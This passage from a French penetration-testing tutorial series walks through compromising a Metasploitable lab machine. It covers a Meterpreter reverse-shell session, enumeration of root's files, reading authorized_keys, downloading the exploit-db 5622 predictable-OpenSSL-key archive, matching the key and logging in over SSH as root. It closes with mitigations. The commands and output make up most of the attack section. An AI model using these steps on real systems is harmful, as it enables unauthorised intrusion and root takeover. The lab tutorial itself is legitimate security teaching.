[*] Sending stage (47762 bytes) to 172.16.86.131
[*] Meterpreter session 1 opened (172.16.86.134:4444 -> 172.16.86.131:47065) at 2017-08-08 23:12:46 +0100

meterpreter >

Mission accompli, nous avons réussi à récupérer une session sur la cible

Lançon maintenant un shell sur la cible pour cela rien de plus simple :

meterpreter > shell
Process 1 created
Channel 1 created

Une fois un shell obtenu essayons de découvrir qui nous somme pour tanter si besoin de devenir root.

meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
tomcat55

Nous somme l'utilisateur tomcat55. Voyons voir quels sont les répertoire présent à notre emplacement.

ls -la 
total 89
drwxr-xr-x  21 root root  4096 2012-05-20 14:36 .
drwxr-xr-x  21 root root  4096 2012-05-20 14:36 ..
drwxr-xr-x   2 root root  4096 2012-05-13 23:35 bin
drwxr-xr-x   4 root root  1024 2012-05-13 23:36 boot
lrwxrwxrwx   1 root root    11 2010-04-28 16:26 cdrom -> media/cdrom
drwxr-xr-x  14 root root 13480 2017-08-07 16:54 dev
drwxr-xr-x  95 root root  4096 2017-08-18 14:18 etc
drwxr-xr-x   6 root root  4096 2010-04-16 02:16 home
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 initrd
lrwxrwxrwx   1 root root    32 2010-04-28 16:26 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root  4096 2012-05-13 23:35 lib
drwx------   2 root root 16384 2010-03-16 18:55 lost+found
drwxr-xr-x   4 root root  4096 2010-03-16 18:55 media
drwxr-xr-x   3 root root  4096 2010-04-28 16:16 mnt
-rw-------   1 root root  7984 2017-08-07 16:55 nohup.out
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 opt
dr-xr-xr-x 109 root root     0 2017-08-07 16:54 proc
drwxr-xr-x  13 root root  4096 2017-08-07 16:55 root
drwxr-xr-x   2 root root  4096 2012-05-13 21:54 sbin
drwxr-xr-x   2 root root  4096 2010-03-16 18:57 srv
drwxr-xr-x  12 root root     0 2017-08-07 16:54 sys
drwxrwxrwt   6 root root  4096 2017-08-18 17:48 tmp
drwxr-xr-x  12 root root  4096 2010-04-28 00:06 usr
drwxr-xr-x  15 root root  4096 2012-05-20 17:30 var
lrwxrwxrwx   1 root root    29 2010-04-28 16:21 vmlinuz -> boot/vmlinuz-2.6.24-16-server
ls root/.ssh    
authorized_keys
known_hosts
ls root 
Desktop
reset_logs.sh
vnc.log

Le répertoire suceptible de nous intéresser est le répertoire root afin de récupérer les clés SSH authorisées à se connecter.

ls -la root
total 76
drwxr-xr-x 13 root root 4096 2017-08-07 16:55 .
drwxr-xr-x 21 root root 4096 2012-05-20 14:36 ..
lrwxrwxrwx  1 root root    9 2012-05-14 00:26 .bash_history -> /dev/null
-rw-r--r--  1 root root 2227 2007-10-20 07:51 .bashrc
drwx------  3 root root 4096 2012-05-20 15:08 .config
drwxr-xr-x  2 root root 4096 2012-05-20 15:08 Desktop
drwx------  2 root root 4096 2012-05-20 15:13 .filezilla
drwxr-xr-x  5 root root 4096 2017-08-07 16:55 .fluxbox
drwx------  4 root root 4096 2012-05-20 15:07 .mozilla
-rw-r--r--  1 root root  141 2007-10-20 07:51 .profile
drwx------  5 root root 4096 2012-05-20 15:11 .purple
-rwx------  1 root root  401 2012-05-20 15:55 reset_logs.sh
-rwx------  1 root root    4 2012-05-20 14:25 .rhosts
drwxr-xr-x  2 root root 4096 2012-05-20 14:21 .ssh
drwx------  2 root root 4096 2017-08-07 16:55 .vnc
-rw-r--r--  1 root root  138 2017-08-07 16:55 vnc.log
-rw-------  1 root root  324 2017-08-07 16:55 .Xauthority

ls -la root/.ssh
total 16
drwxr-xr-x  2 root root 4096 2012-05-20 14:21 .
drwxr-xr-x 13 root root 4096 2017-08-07 16:55 ..
-rw-r--r--  1 root root  405 2010-05-17 21:44 authorized_keys
-rw-r--r--  1 root root  442 2012-05-20 14:21 known_hosts

Ok nous avons donc accès en lecture au fichier authorized_keys qui contiens les clés SSH authorisées à se connecter sur la cible en root. Affichons sont contenu.

cat root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

Un fois cela fait on récupère sur le site exploitdb.com l'exploit à l'adresse suivante qui permet de brute forcer le SSH car il était indiqué dans cette version de SSH qu'il n'y avait que 65.536 clé ssh possibles à générées, car la seule entropie était le pid du processus pour générer la clé. Suivons donc les instructions.

wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2

root@kali:~/ tar xvf 5622.tar.bz2
root@kali:~/ cd rsa/2048
root@kali:~/rsa/2048#

Une fois tout ceci réaliser nous allons copier la clé de notre cible et l'entré à notre exploit afin de récupéréer la clé d'authentification déjà générer et disponible.

root@kali:~/rsa/2048# grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w *.pub
57c3115d77c56390332dc5c49978627a-5429.pub

Nous pouvons maintenant nous connecter en tant que root sur la cible le plus simplement du monde en utilisant cette clé

root@kali:~/rsa/2048# ssh -i 57c3115d77c56390332dc5c49978627a-5429.pub root@172.16.86.131

Mitigation

Pour corrigé ces différent problèmes il faut :

  • Mitigation 1
    • Supprimer les utilisateurs et mot de passe par défaut de tomcat (et de tout logiciel dailleurs).
  • Mitigation 2
    • Mettre à jour la version de tomcat qui corrige la faille RCE.
  • Mitigation 3
    • Mettre à jour OpenSSH pour ne plus être vulnérable au attaque par brute forcing des clé d'authentification

Conclusions

Nous avonc donc vu dans ce tutoriel différentes façon d'exploiter une faille de sécurité dans un logiciel, des mauvaises configurations et comment prendre contrôle d'une machine cible.

Se qu'il faut comprendre ici est que vu le fait qu'on ne peut se prémunir à 100% des attaques malveillantes, il faut absolument utiliser uniquement des services qui sont vraiment nécessaire afin d'avoir un meilleurs controle sur le système. Il faut surtout faire attention au service que l'on expose sur le monde car tout le monde n'est que simple utilisateur (dehors c'est la guerre), les filtré au maximum pour réduire la surface d'attaque car certains exploits sont vraiment très simple n'importe qui peut le faire. De plus quand on installe un logiciel il faut bien s'attarder sur l'aspect étude de celui-ci à savoir qu'est ce qu'il expose de quel manière et comment le configurer pour l'adapter à mon besoin en prenant toujours bien compte de l'aspect sécurité depuis la conception jusqu'à l'intégration.

on se donne donc rendez vous pour la partie trois de cette série de tutoriel qui parlera de la phase post exploitation.